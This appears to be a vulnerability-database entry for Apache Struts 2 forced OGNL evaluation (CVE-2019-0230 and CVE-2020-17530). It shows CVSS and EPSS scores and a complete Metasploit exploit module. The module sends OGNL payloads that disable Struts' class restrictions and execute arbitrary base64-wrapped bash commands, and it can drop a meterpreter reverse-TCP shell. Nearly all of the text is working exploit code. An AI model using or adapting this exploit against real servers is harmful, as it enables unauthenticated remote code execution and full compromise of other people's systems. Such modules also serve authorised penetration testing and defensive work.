9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.972 High
EPSS
Percentile
99.8%
The Apache Struts framework, when forced, performs double evaluation of attributes’ values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag’s attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
This vulnerability is application dependant. A server side template must make an affected use of request data to
render an HTML tag attribute.
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Matthias Kaiser', # discovery of CVE-2019-0230
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
'ka1n4t', # PoC of CVE-2020-17530
],
'References' => [
['CVE', '2019-0230'],
['CVE', '2020-17530'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultTarget' => 0
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
])
end
def check
num1 = rand(1000..9999)
num2 = rand(1000..9999)
res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
return CheckCode::Safe
end
return CheckCode::Appears
end
def exploit
cve = datastore['CVE']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")
if cve == 'CVE-2019-0230'
ognl = []
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
ognl << '#ognlUtil.setExcludedClasses(\'\')'
ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
res = send_request_cgi(build_http_request(cve, ognl))
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
end
case target['Type']
when :unix_cmd
execute_command(payload.encoded, { cve: cve })
when :linux_dropper
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
end
end
def execute_command(cmd, opts = {})
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
end
def build_http_request(cve, ognl)
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array
http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
if cve == 'CVE-2019-0230'
http_request_parameters['method'] = 'GET'
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
elsif cve == 'CVE-2020-17530'
http_request_parameters['method'] = 'POST'
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
end
http_request_parameters
end
def build_ognl(cve, cmd)
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ognl = []
if cve == 'CVE-2019-0230'
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
elsif cve == 'CVE-2020-17530'
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
ognl << '#bean.setBean(#stack)'
ognl << '#context=#bean.get("context")'
ognl << '#bean.setBean(#context)'
ognl << '#macc=#bean.get("memberAccess")'
ognl << '#bean.setBean(#macc)'
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
ognl << '#bean.put("excludedClasses",#emptyset)'
ognl << '#bean.put("excludedPackageNames",#emptyset)'
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
ognl << "#execute.exec({\"#{cmd}\"})"
end
ognl
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.972 High
EPSS
Percentile
99.8%